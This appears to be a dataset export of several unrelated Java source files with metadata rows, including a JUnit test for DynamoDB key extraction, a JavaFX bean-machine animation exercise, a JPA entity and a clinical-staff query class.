@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
});
final String[] finalNames1 = names;
currencyFinishType.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
@Override
public void onItemSelected(AdapterView<?> adapterView, View view, int position, long id) {
valFinish = finalNames1[position];
}
@Override
public void onNothingSelected(AdapterView<?> adapterView) {
}
});
}
private void compute() {
exchangeCalculator = new ExchangeCalculator(valutes);
tvFinishCurrencySum.setText(exchangeCalculator.getResult(etStartCurrencySum.getText().toString(), valStart, valFinish));
}
private void showMessage(String message) {
Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
//TODO: сделать SnackBar
}
}
| 5,582 | 0.667444 | 0.66583 | 156 | 34.737179 | 27.810511 | 128 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.660256 | false | false | 1 |
3690b0c905c35e1cec0738c5e0c3e0792ac51120 | 9,929,964,454,211 | 401d18d17a0f8573f106936f7eb41377aeeb6962 | /GroupBuy/src/main/java/sitemail/model/SiteMailCanBean.java | 03ccb355b68b2569258488aa69dd5dd3d434dde5 | []
| no_license | EEIT92Team06/newGroupBuy | https://github.com/EEIT92Team06/newGroupBuy | 0f7a84174ee2e8629fc8d7e5d2b77a05c86cf40a | 3c183f0c834194c6fe19395265c663dcc5e42403 | refs/heads/master | 2021-01-19T09:32:38.866000 | 2017-05-16T12:16:38 | 2017-05-16T12:16:38 | 87,764,457 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package sitemail.model;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Table;
@Entity
@Table(name="siteMailCan")
public class SiteMailCanBean {
@Id
@Column(name="siteMailCan_No")
private int siteMailCanNo;
@Column(name="siteMailCan_Title")
private String siteMailCanTitle;
@Column(name="siteMailCan_Content")
private String siteMailCanContent;
public int getSiteMailCanNo() {
return siteMailCanNo;
}
public void setSiteMailCanNo(int siteMailCanNo) {
this.siteMailCanNo = siteMailCanNo;
}
public String getSiteMailCanTitle() {
return siteMailCanTitle;
}
public void setSiteMailCanTitle(String siteMailCanTitle) {
this.siteMailCanTitle = siteMailCanTitle;
}
public String getSiteMailCanContent() {
return siteMailCanContent;
}
public void setSiteMailCanContent(String siteMailCanContent) {
this.siteMailCanContent = siteMailCanContent;
}
@Override
public String toString() {
return "SiteMailCanBean [siteMailCanNo=" + siteMailCanNo + ", siteMailCanTitle=" + siteMailCanTitle
+ ", siteMailCanContent=" + siteMailCanContent + "]";
}
}
| UTF-8 | Java | 1,190 | java | SiteMailCanBean.java | Java | []
| null | []
| package sitemail.model;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Table;
@Entity
@Table(name="siteMailCan")
public class SiteMailCanBean {
@Id
@Column(name="siteMailCan_No")
private int siteMailCanNo;
@Column(name="siteMailCan_Title")
private String siteMailCanTitle;
@Column(name="siteMailCan_Content")
private String siteMailCanContent;
public int getSiteMailCanNo() {
return siteMailCanNo;
}
public void setSiteMailCanNo(int siteMailCanNo) {
this.siteMailCanNo = siteMailCanNo;
}
public String getSiteMailCanTitle() {
return siteMailCanTitle;
}
public void setSiteMailCanTitle(String siteMailCanTitle) {
this.siteMailCanTitle = siteMailCanTitle;
}
public String getSiteMailCanContent() {
return siteMailCanContent;
}
public void setSiteMailCanContent(String siteMailCanContent) {
this.siteMailCanContent = siteMailCanContent;
}
@Override
public String toString() {
return "SiteMailCanBean [siteMailCanNo=" + siteMailCanNo + ", siteMailCanTitle=" + siteMailCanTitle
+ ", siteMailCanContent=" + siteMailCanContent + "]";
}
}
| 1,190 | 0.74958 | 0.74958 | 42 | 26.333334 | 21.290134 | 101 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.380952 | false | false | 1 |
ecde8ad4976e2940b54321b82b751a20ad075246 | 8,117,488,224,438 | 470e6a86c87856c54652863c401c8c0946bc7543 | /src/test/java/org/socialsignin/spring/data/dynamodb/repository/support/DynamoDBHashAndRangeKeyMethodExtractorImplUnitTest.java | 16f645cb8d86c0bbdaf5262f6620a247ca351810 | [
"Apache-2.0"
]
| permissive | mtedone/spring-data-dynamodb | https://github.com/mtedone/spring-data-dynamodb | be2dea3316e035c2acce459cd33ce81aa95602b2 | 42bce2ef775fc19e68fdf9a9911c858ff7ea3e55 | refs/heads/master | 2023-08-28T08:11:18.910000 | 2023-01-10T06:25:32 | 2023-01-10T06:25:32 | 62,589,287 | 1 | 2 | Apache-2.0 | true | 2023-08-04T19:33:12 | 2016-07-04T21:38:59 | 2023-01-10T06:25:28 | 2023-08-04T19:33:12 | 424 | 1 | 1 | 1 | Java | false | false | package org.socialsignin.spring.data.dynamodb.repository.support;
import java.lang.reflect.Method;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.runners.MockitoJUnitRunner;
import org.socialsignin.spring.data.dynamodb.domain.sample.PlaylistId;
import com.amazonaws.services.dynamodbv2.datamodeling.DynamoDBHashKey;
import com.amazonaws.services.dynamodbv2.datamodeling.DynamoDBRangeKey;
@RunWith(MockitoJUnitRunner.class)
@SuppressWarnings("unused")
public class DynamoDBHashAndRangeKeyMethodExtractorImplUnitTest {
private DynamoDBHashAndRangeKeyMethodExtractor<PlaylistId> playlistIdMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithNoAnnotatedMethods> idClassWithNoHashOrRangeKeyMethodMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithOnlyAnnotatedHashKeyMethod> idClassWithOnlyHashKeyMethodMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithOnlyAnnotatedRangeKeyMethod> idClassWithOnlyRangeKeyMethodMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithMulitpleAnnotatedHashKeyMethods> idClassWitMultipleAnnotatedHashKeysMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithMulitpleAnnotatedRangeKeyMethods> idClassWitMultipleAnnotatedRangeKeysMetadata;
@Test
public void testConstruct_WhenHashKeyMethodExists_WhenRangeKeyMethodExists()
{
playlistIdMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<PlaylistId>(PlaylistId.class);
Method hashKeyMethod = playlistIdMetadata.getHashKeyMethod();
Assert.assertNotNull(hashKeyMethod);
Assert.assertEquals("getUserName", hashKeyMethod.getName());
Method rangeKeyMethod = playlistIdMetadata.getRangeKeyMethod();
Assert.assertNotNull(rangeKeyMethod);
Assert.assertEquals("getPlaylistName", rangeKeyMethod.getName());
Assert.assertEquals(PlaylistId.class,playlistIdMetadata.getJavaType());
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenHashKeyMethodExists_WhenRangeKeyMethodDoesNotExist()
{
idClassWithOnlyHashKeyMethodMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithOnlyAnnotatedHashKeyMethod>(IdClassWithOnlyAnnotatedHashKeyMethod.class);
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenHashKeyMethodDoesNotExist_WhenRangeKeyMethodExists()
{
idClassWithOnlyRangeKeyMethodMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithOnlyAnnotatedRangeKeyMethod>(IdClassWithOnlyAnnotatedRangeKeyMethod.class);
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenMultipleHashKeyMethodsExist()
{
idClassWitMultipleAnnotatedHashKeysMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithMulitpleAnnotatedHashKeyMethods>(IdClassWithMulitpleAnnotatedHashKeyMethods.class);
}
@Test(expected=IllegalArgumentException.class)
public void testGetConstruct_WhenMultipleRangeKeyMethodsExist()
{
idClassWitMultipleAnnotatedRangeKeysMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithMulitpleAnnotatedRangeKeyMethods>(IdClassWithMulitpleAnnotatedRangeKeyMethods.class);
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenNeitherHashKeyOrRangeKeyMethodExist()
{
idClassWithNoHashOrRangeKeyMethodMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithNoAnnotatedMethods>(IdClassWithNoAnnotatedMethods.class);
}
private class IdClassWithNoAnnotatedMethods {
public String getHashKey(){ return null;}
public String getRangeKey(){ return null;}
}
private class IdClassWithOnlyAnnotatedHashKeyMethod {
@DynamoDBHashKey
public String getHashKey(){ return null;}
public String getRangeKey(){ return null;}
}
private class IdClassWithOnlyAnnotatedRangeKeyMethod {
public String getHashKey(){ return null;}
@DynamoDBRangeKey
public String getRangeKey(){ return null;}
}
private class IdClassWithMulitpleAnnotatedHashKeyMethods {
@DynamoDBHashKey
public String getHashKey(){ return null;}
@DynamoDBHashKey
public String getOtherHashKey(){ return null;}
@DynamoDBRangeKey
public String getRangeKey(){ return null;}
}
private class IdClassWithMulitpleAnnotatedRangeKeyMethods {
@DynamoDBHashKey
public String getHashKey(){ return null;}
@DynamoDBRangeKey
public String getOtherRangeKey(){ return null;}
@DynamoDBRangeKey
public String getRangeKey(){ return null;}
}
}
| UTF-8 | Java | 4,533 | java | DynamoDBHashAndRangeKeyMethodExtractorImplUnitTest.java | Java | []
| null | []
| package org.socialsignin.spring.data.dynamodb.repository.support;
import java.lang.reflect.Method;
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.runners.MockitoJUnitRunner;
import org.socialsignin.spring.data.dynamodb.domain.sample.PlaylistId;
import com.amazonaws.services.dynamodbv2.datamodeling.DynamoDBHashKey;
import com.amazonaws.services.dynamodbv2.datamodeling.DynamoDBRangeKey;
@RunWith(MockitoJUnitRunner.class)
@SuppressWarnings("unused")
public class DynamoDBHashAndRangeKeyMethodExtractorImplUnitTest {
private DynamoDBHashAndRangeKeyMethodExtractor<PlaylistId> playlistIdMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithNoAnnotatedMethods> idClassWithNoHashOrRangeKeyMethodMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithOnlyAnnotatedHashKeyMethod> idClassWithOnlyHashKeyMethodMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithOnlyAnnotatedRangeKeyMethod> idClassWithOnlyRangeKeyMethodMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithMulitpleAnnotatedHashKeyMethods> idClassWitMultipleAnnotatedHashKeysMetadata;
private DynamoDBHashAndRangeKeyMethodExtractor<IdClassWithMulitpleAnnotatedRangeKeyMethods> idClassWitMultipleAnnotatedRangeKeysMetadata;
@Test
public void testConstruct_WhenHashKeyMethodExists_WhenRangeKeyMethodExists()
{
playlistIdMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<PlaylistId>(PlaylistId.class);
Method hashKeyMethod = playlistIdMetadata.getHashKeyMethod();
Assert.assertNotNull(hashKeyMethod);
Assert.assertEquals("getUserName", hashKeyMethod.getName());
Method rangeKeyMethod = playlistIdMetadata.getRangeKeyMethod();
Assert.assertNotNull(rangeKeyMethod);
Assert.assertEquals("getPlaylistName", rangeKeyMethod.getName());
Assert.assertEquals(PlaylistId.class,playlistIdMetadata.getJavaType());
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenHashKeyMethodExists_WhenRangeKeyMethodDoesNotExist()
{
idClassWithOnlyHashKeyMethodMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithOnlyAnnotatedHashKeyMethod>(IdClassWithOnlyAnnotatedHashKeyMethod.class);
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenHashKeyMethodDoesNotExist_WhenRangeKeyMethodExists()
{
idClassWithOnlyRangeKeyMethodMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithOnlyAnnotatedRangeKeyMethod>(IdClassWithOnlyAnnotatedRangeKeyMethod.class);
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenMultipleHashKeyMethodsExist()
{
idClassWitMultipleAnnotatedHashKeysMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithMulitpleAnnotatedHashKeyMethods>(IdClassWithMulitpleAnnotatedHashKeyMethods.class);
}
@Test(expected=IllegalArgumentException.class)
public void testGetConstruct_WhenMultipleRangeKeyMethodsExist()
{
idClassWitMultipleAnnotatedRangeKeysMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithMulitpleAnnotatedRangeKeyMethods>(IdClassWithMulitpleAnnotatedRangeKeyMethods.class);
}
@Test(expected=IllegalArgumentException.class)
public void testConstruct_WhenNeitherHashKeyOrRangeKeyMethodExist()
{
idClassWithNoHashOrRangeKeyMethodMetadata = new DynamoDBHashAndRangeKeyMethodExtractorImpl<IdClassWithNoAnnotatedMethods>(IdClassWithNoAnnotatedMethods.class);
}
private class IdClassWithNoAnnotatedMethods {
public String getHashKey(){ return null;}
public String getRangeKey(){ return null;}
}
private class IdClassWithOnlyAnnotatedHashKeyMethod {
@DynamoDBHashKey
public String getHashKey(){ return null;}
public String getRangeKey(){ return null;}
}
private class IdClassWithOnlyAnnotatedRangeKeyMethod {
public String getHashKey(){ return null;}
@DynamoDBRangeKey
public String getRangeKey(){ return null;}
}
private class IdClassWithMulitpleAnnotatedHashKeyMethods {
@DynamoDBHashKey
public String getHashKey(){ return null;}
@DynamoDBHashKey
public String getOtherHashKey(){ return null;}
@DynamoDBRangeKey
public String getRangeKey(){ return null;}
}
private class IdClassWithMulitpleAnnotatedRangeKeyMethods {
@DynamoDBHashKey
public String getHashKey(){ return null;}
@DynamoDBRangeKey
public String getOtherRangeKey(){ return null;}
@DynamoDBRangeKey
public String getRangeKey(){ return null;}
}
}
| 4,533 | 0.840944 | 0.840503 | 131 | 33.603054 | 43.832207 | 192 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.496183 | false | false | 1 |
89b13002fd8ee930b0c7eebf93f04a85e03792ba | 32,255,204,461,334 | 675738f4a009f56c06a0bb19aa4eeeb4037d45ad | /Cap14/GooglePlus/app/src/main/java/dominando/android/googleplus/GoogleApiProvider.java | a0299fe2a3b73ca91983dacde697ebb842d8dd7a | []
| no_license | nglauber/dominando_android2 | https://github.com/nglauber/dominando_android2 | ff5ae2f4d0968b83461e881b9f581c5e6efb89ba | 2d7319367cc7735a60086631a791f8d04cbfb87a | refs/heads/master | 2021-01-10T06:22:48.215000 | 2017-07-12T14:44:30 | 2017-07-12T14:44:30 | 44,936,371 | 55 | 65 | null | null | null | null | null | null | null | null | null | null | null | null | null | package dominando.android.googleplus;
import com.google.android.gms.common.api.GoogleApiClient;
public interface GoogleApiProvider {
GoogleApiClient getGoogleApiClient();
}
| UTF-8 | Java | 179 | java | GoogleApiProvider.java | Java | []
| null | []
| package dominando.android.googleplus;
import com.google.android.gms.common.api.GoogleApiClient;
public interface GoogleApiProvider {
GoogleApiClient getGoogleApiClient();
}
| 179 | 0.821229 | 0.821229 | 7 | 24.571428 | 21.94055 | 57 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.428571 | false | false | 1 |
3a1cb786a59333ed0a8bf83fe8d114a453666fec | 34,857,954,604,307 | 86bcdc9f92a0e0c0f09595bb6954a8b3066c989e | /src/chapter_15/PE_15_33_Game_bean_machine_animation.java | 26df06d2daa313c016e8d691cee30748d50c9b7d | []
| no_license | JMitch18/javabook_ | https://github.com/JMitch18/javabook_ | 992f9b2b0d580e85d85724070c4d36112c80ac72 | c46a66ebd8b41459bb90a402928a33768997b024 | refs/heads/master | 2020-03-30T00:28:58.076000 | 2018-09-27T04:07:37 | 2018-09-27T04:07:37 | 150,525,813 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package chapter_15;
import javafx.animation.PathTransition;
import javafx.application.Application;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.paint.Color;
import javafx.scene.shape.Circle;
import javafx.scene.shape.Ellipse;
import javafx.scene.shape.Line;
import javafx.scene.shape.Polyline;
import javafx.stage.Stage;
import javafx.util.Duration;
/**
* (Game: bean-machine animation) Write a program that animates the bean
* machine introduced in Programming Exercise 7.21. The animation terminates
* after ten balls are dropped, as shown in Figure 15.36b and c.
*/
public class PE_15_33_Game_bean_machine_animation extends Application {
public static void main(String[] args) {
Application.launch(args);
}
@Override
public void start(Stage primaryStage) {
BeanMachinePane pane = new BeanMachinePane();
Scene scene = new Scene(pane, 400, 400);
primaryStage.setTitle("Exercise15_33");
primaryStage.setScene(scene);
primaryStage.show();
pane.play();
}
private class BeanMachinePane extends Pane {
private final BeanAnimation beanAnimation;
BeanMachinePane() {
beanAnimation = new BeanAnimation(this);
}
public void play() {
beanAnimation.play();
}
@Override
public void setWidth(double width) {
super.setWidth(width);
paint();
}
private void paint() {
getChildren().clear();
double width = getWidth();
double height = getHeight();
Polyline polyline = new Polyline(
width * (9 / 20.0), height * (1 / 12.0),
width * (9 / 20.0), height * (1 / 6.0),
width * (1 / 10.0), height * (3 / 4.0),
width * (1 / 10.0), height * (11 / 12.0),
width * (9 / 10.0), height * (11 / 12.0),
width * (9 / 10.0), height * (3 / 4.0),
width * (11 / 20.0), height * (1 / 6.0),
width * (11 / 20.0), height * (1 / 12.0)
);
getChildren().add(polyline);
double startY = height * (3 / 4.0);
double endY = height * (11 / 12.0);
for (int i = 0; i < 7; i++) {
double lineX = width * ((i + 2) / 10.0);
getChildren().add(new Line(lineX, startY, lineX, endY));
}
double ellipseRadiusX = width / 40;
double ellipseRadiusY = height / 40;
for (int i = 0; i < 7; i++) {
double ellipseCenterY = height * ((i + 3) / 12.0);
for (int j = 0; j < i + 1; j++) {
double ellipseCenterX = width * ((10 - i + 2 * j) / 20.0);
getChildren().add(new Ellipse(ellipseCenterX, ellipseCenterY, ellipseRadiusX, ellipseRadiusY));
}
}
}
@Override
public void setHeight(double height) {
super.setHeight(height);
paint();
}
}
private class BeanAnimation {
private final Pane beanMachinePane;
private final int[] beanSlots;
private PathTransition animation = new PathTransition();
private final double radius;
private int cycles = 0;
private int totalCycles = 10;
BeanAnimation(Pane beanMachinePane) {
this.beanMachinePane = beanMachinePane;
animation = new PathTransition();
beanSlots = new int[8];
radius = 7.5;
}
public void play() {
runAnimation();
animation.setOnFinished(event -> runAnimation());
}
private void runAnimation() {
int slot = 0;
int posX = 10;
Polyline path = new Polyline();
path.setStroke(Color.TRANSPARENT);
Circle circle = new Circle(radius, Color.ORANGE);
ObservableList<Double> points = path.getPoints();
points.add(beanMachinePane.getWidth() * (6 / 12.0));
points.add(beanMachinePane.getHeight() * (1 / 12.0));
points.add(beanMachinePane.getWidth() * (6 / 12.0));
points.add(beanMachinePane.getHeight() * (2 / 12.0));
for (int i = 3; i < 10; i++) {
int rand = (int) (Math.random() * 2);
if (rand == 0) {
posX += 1;
slot += 1;
} else {
posX -= 1;
}
points.add(beanMachinePane.getWidth() * (posX / 20.0));
points.add(beanMachinePane.getHeight() * (i / 12.0));
}
points.add(beanMachinePane.getWidth() * (posX / 20.0));
points.add(beanMachinePane.getHeight() * (11 / 12.0) - radius - (beanSlots[slot] * 2 * radius));
beanSlots[slot]++;
beanMachinePane.getChildren().addAll(circle, path);
animation.setPath(path);
animation.setNode(circle);
animation.setDuration(Duration.millis(5000));
animation.setCycleCount(1);
animation.play();
if (++cycles >= totalCycles) {
animation.setOnFinished(null);
}
}
}
}
| UTF-8 | Java | 5,398 | java | PE_15_33_Game_bean_machine_animation.java | Java | []
| null | []
| package chapter_15;
import javafx.animation.PathTransition;
import javafx.application.Application;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.paint.Color;
import javafx.scene.shape.Circle;
import javafx.scene.shape.Ellipse;
import javafx.scene.shape.Line;
import javafx.scene.shape.Polyline;
import javafx.stage.Stage;
import javafx.util.Duration;
/**
* (Game: bean-machine animation) Write a program that animates the bean
* machine introduced in Programming Exercise 7.21. The animation terminates
* after ten balls are dropped, as shown in Figure 15.36b and c.
*/
public class PE_15_33_Game_bean_machine_animation extends Application {
public static void main(String[] args) {
Application.launch(args);
}
@Override
public void start(Stage primaryStage) {
BeanMachinePane pane = new BeanMachinePane();
Scene scene = new Scene(pane, 400, 400);
primaryStage.setTitle("Exercise15_33");
primaryStage.setScene(scene);
primaryStage.show();
pane.play();
}
private class BeanMachinePane extends Pane {
private final BeanAnimation beanAnimation;
BeanMachinePane() {
beanAnimation = new BeanAnimation(this);
}
public void play() {
beanAnimation.play();
}
@Override
public void setWidth(double width) {
super.setWidth(width);
paint();
}
private void paint() {
getChildren().clear();
double width = getWidth();
double height = getHeight();
Polyline polyline = new Polyline(
width * (9 / 20.0), height * (1 / 12.0),
width * (9 / 20.0), height * (1 / 6.0),
width * (1 / 10.0), height * (3 / 4.0),
width * (1 / 10.0), height * (11 / 12.0),
width * (9 / 10.0), height * (11 / 12.0),
width * (9 / 10.0), height * (3 / 4.0),
width * (11 / 20.0), height * (1 / 6.0),
width * (11 / 20.0), height * (1 / 12.0)
);
getChildren().add(polyline);
double startY = height * (3 / 4.0);
double endY = height * (11 / 12.0);
for (int i = 0; i < 7; i++) {
double lineX = width * ((i + 2) / 10.0);
getChildren().add(new Line(lineX, startY, lineX, endY));
}
double ellipseRadiusX = width / 40;
double ellipseRadiusY = height / 40;
for (int i = 0; i < 7; i++) {
double ellipseCenterY = height * ((i + 3) / 12.0);
for (int j = 0; j < i + 1; j++) {
double ellipseCenterX = width * ((10 - i + 2 * j) / 20.0);
getChildren().add(new Ellipse(ellipseCenterX, ellipseCenterY, ellipseRadiusX, ellipseRadiusY));
}
}
}
@Override
public void setHeight(double height) {
super.setHeight(height);
paint();
}
}
private class BeanAnimation {
private final Pane beanMachinePane;
private final int[] beanSlots;
private PathTransition animation = new PathTransition();
private final double radius;
private int cycles = 0;
private int totalCycles = 10;
BeanAnimation(Pane beanMachinePane) {
this.beanMachinePane = beanMachinePane;
animation = new PathTransition();
beanSlots = new int[8];
radius = 7.5;
}
public void play() {
runAnimation();
animation.setOnFinished(event -> runAnimation());
}
private void runAnimation() {
int slot = 0;
int posX = 10;
Polyline path = new Polyline();
path.setStroke(Color.TRANSPARENT);
Circle circle = new Circle(radius, Color.ORANGE);
ObservableList<Double> points = path.getPoints();
points.add(beanMachinePane.getWidth() * (6 / 12.0));
points.add(beanMachinePane.getHeight() * (1 / 12.0));
points.add(beanMachinePane.getWidth() * (6 / 12.0));
points.add(beanMachinePane.getHeight() * (2 / 12.0));
for (int i = 3; i < 10; i++) {
int rand = (int) (Math.random() * 2);
if (rand == 0) {
posX += 1;
slot += 1;
} else {
posX -= 1;
}
points.add(beanMachinePane.getWidth() * (posX / 20.0));
points.add(beanMachinePane.getHeight() * (i / 12.0));
}
points.add(beanMachinePane.getWidth() * (posX / 20.0));
points.add(beanMachinePane.getHeight() * (11 / 12.0) - radius - (beanSlots[slot] * 2 * radius));
beanSlots[slot]++;
beanMachinePane.getChildren().addAll(circle, path);
animation.setPath(path);
animation.setNode(circle);
animation.setDuration(Duration.millis(5000));
animation.setCycleCount(1);
animation.play();
if (++cycles >= totalCycles) {
animation.setOnFinished(null);
}
}
}
}
| 5,398 | 0.527788 | 0.495924 | 157 | 33.375797 | 23.494249 | 115 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.719745 | false | false | 1 |
22c946ba9a978a3d4ec0a763aa13c405d68f26a3 | 16,192,026,745,431 | 7c42a435bd777b00f2e95b8b0809f1445d5a894e | /pro-ctcae/software/core/src/main/java/gov/nih/nci/ctcae/core/query/StudyOrganizationClinicalStaffQuery.java | 6a64bf20bf4d351fb15b136be22f419bdb5ed2ff | []
| no_license | shireeshap/pro-cacte | https://github.com/shireeshap/pro-cacte | 24f73bb983102b6571c180ca9bbaa840a9ae136b | f9f2387f6a3b7dcb928a707a15b4d9b9b9f1e830 | refs/heads/master | 2021-06-27T01:20:20.103000 | 2015-09-29T20:08:16 | 2015-09-29T20:08:16 | 103,153,087 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package gov.nih.nci.ctcae.core.query;
import gov.nih.nci.ctcae.core.domain.QueryStrings;
import gov.nih.nci.ctcae.core.domain.Role;
import gov.nih.nci.ctcae.core.domain.RoleStatus;
import java.util.Collection;
import java.util.Date;
/**
* User: Harsh Agarwal
* Date: Feb 25, 2008.
*/
public class StudyOrganizationClinicalStaffQuery extends AbstractQuery {
private static String STUDY_ORGANIZATION_ID = "studyOrganizationId";
private static String CLINICAL_STAFF_ID = "clinicalStaffId";
private static String FIRST_NAME = "firstName";
private static String LAST_NAME = "lastName";
private static String NCI_IDENTIFIER = "nciIdentifier";
private static String ROLE = "role";
private static String ROLE_STATUS = "roleStatus";
private static String TODAYS_DATE = "todaysDate";
public StudyOrganizationClinicalStaffQuery() {
super(QueryStrings.SOCS_QUERY_BASIC);
}
public void filterByFirstNameOrLastNameOrNciIdentifier(final String searchText) {
String searchString = "%" + searchText.toLowerCase() + "%";
andWhere(String.format("(lower(socs.organizationClinicalStaff.clinicalStaff.firstName) LIKE :%s or lower(socs.organizationClinicalStaff.clinicalStaff.lastName) LIKE :%s or lower(socs.organizationClinicalStaff.clinicalStaff.nciIdentifier) LIKE :%s)",
FIRST_NAME, LAST_NAME, NCI_IDENTIFIER));
setParameter(FIRST_NAME, searchString);
setParameter(LAST_NAME, searchString);
setParameter(NCI_IDENTIFIER, searchString);
}
public void filterByStudyOrganization(final Integer studyOrganizationId) {
andWhere("socs.studyOrganization.id = :" + STUDY_ORGANIZATION_ID);
setParameter(STUDY_ORGANIZATION_ID, studyOrganizationId);
}
public void filterByClinicalStaffId(final Integer clinicalStaffId) {
andWhere("socs.organizationClinicalStaff.clinicalStaff.id = :" + CLINICAL_STAFF_ID);
setParameter(CLINICAL_STAFF_ID, clinicalStaffId);
}
public void filterByRole(final Collection<Role> roles) {
andWhere("socs.role in ( :" + ROLE + ")");
setParameterList(ROLE, roles);
}
public void filterByActiveStatus() {
andWhere("socs.roleStatus in ( :" + ROLE_STATUS + ")");
setParameter(ROLE_STATUS, RoleStatus.ACTIVE);
andWhere("socs.statusDate <= :" + TODAYS_DATE);
setParameter(TODAYS_DATE, new Date());
}
} | UTF-8 | Java | 2,429 | java | StudyOrganizationClinicalStaffQuery.java | Java | [
{
"context": "l.Collection;\nimport java.util.Date;\n\n/**\n * User: Harsh Agarwal\n * Date: Feb 25, 2008.\n */\npublic class StudyOrga",
"end": 262,
"score": 0.9998388290405273,
"start": 249,
"tag": "NAME",
"value": "Harsh Agarwal"
}
]
| null | []
| package gov.nih.nci.ctcae.core.query;
import gov.nih.nci.ctcae.core.domain.QueryStrings;
import gov.nih.nci.ctcae.core.domain.Role;
import gov.nih.nci.ctcae.core.domain.RoleStatus;
import java.util.Collection;
import java.util.Date;
/**
* User: <NAME>
* Date: Feb 25, 2008.
*/
public class StudyOrganizationClinicalStaffQuery extends AbstractQuery {
private static String STUDY_ORGANIZATION_ID = "studyOrganizationId";
private static String CLINICAL_STAFF_ID = "clinicalStaffId";
private static String FIRST_NAME = "firstName";
private static String LAST_NAME = "lastName";
private static String NCI_IDENTIFIER = "nciIdentifier";
private static String ROLE = "role";
private static String ROLE_STATUS = "roleStatus";
private static String TODAYS_DATE = "todaysDate";
public StudyOrganizationClinicalStaffQuery() {
super(QueryStrings.SOCS_QUERY_BASIC);
}
public void filterByFirstNameOrLastNameOrNciIdentifier(final String searchText) {
String searchString = "%" + searchText.toLowerCase() + "%";
andWhere(String.format("(lower(socs.organizationClinicalStaff.clinicalStaff.firstName) LIKE :%s or lower(socs.organizationClinicalStaff.clinicalStaff.lastName) LIKE :%s or lower(socs.organizationClinicalStaff.clinicalStaff.nciIdentifier) LIKE :%s)",
FIRST_NAME, LAST_NAME, NCI_IDENTIFIER));
setParameter(FIRST_NAME, searchString);
setParameter(LAST_NAME, searchString);
setParameter(NCI_IDENTIFIER, searchString);
}
public void filterByStudyOrganization(final Integer studyOrganizationId) {
andWhere("socs.studyOrganization.id = :" + STUDY_ORGANIZATION_ID);
setParameter(STUDY_ORGANIZATION_ID, studyOrganizationId);
}
public void filterByClinicalStaffId(final Integer clinicalStaffId) {
andWhere("socs.organizationClinicalStaff.clinicalStaff.id = :" + CLINICAL_STAFF_ID);
setParameter(CLINICAL_STAFF_ID, clinicalStaffId);
}
public void filterByRole(final Collection<Role> roles) {
andWhere("socs.role in ( :" + ROLE + ")");
setParameterList(ROLE, roles);
}
public void filterByActiveStatus() {
andWhere("socs.roleStatus in ( :" + ROLE_STATUS + ")");
setParameter(ROLE_STATUS, RoleStatus.ACTIVE);
andWhere("socs.statusDate <= :" + TODAYS_DATE);
setParameter(TODAYS_DATE, new Date());
}
} | 2,422 | 0.711404 | 0.708934 | 62 | 38.19355 | 39.382263 | 257 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.677419 | false | false | 1 |
7aa87e331075d750dc071565781aec4bb8cce986 | 35,433,480,223,108 | e53d05e548d4ea98a733187b9a69e8c68acd9572 | /MergeSort.java | 758b07f628e437be3ec9a9d55dbc41e9ce0e06fb | []
| no_license | kunal12899/Algorithm_Programs | https://github.com/kunal12899/Algorithm_Programs | e004face8f9ac382f3ea0001397c62a90d6fb7e1 | 93c3b7328f4edaa33811c28cd8096870b896cd50 | refs/heads/master | 2016-08-10T06:40:12.687000 | 2016-02-14T07:00:16 | 2016-02-14T07:00:16 | 51,683,626 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import java.lang.*;
import java.util.Comparator;
import java.util.Random;
import java.util.Arrays;
public class MergeSort {
private static long startTime, endTime, elapsedTime;
private static int phase = 0;
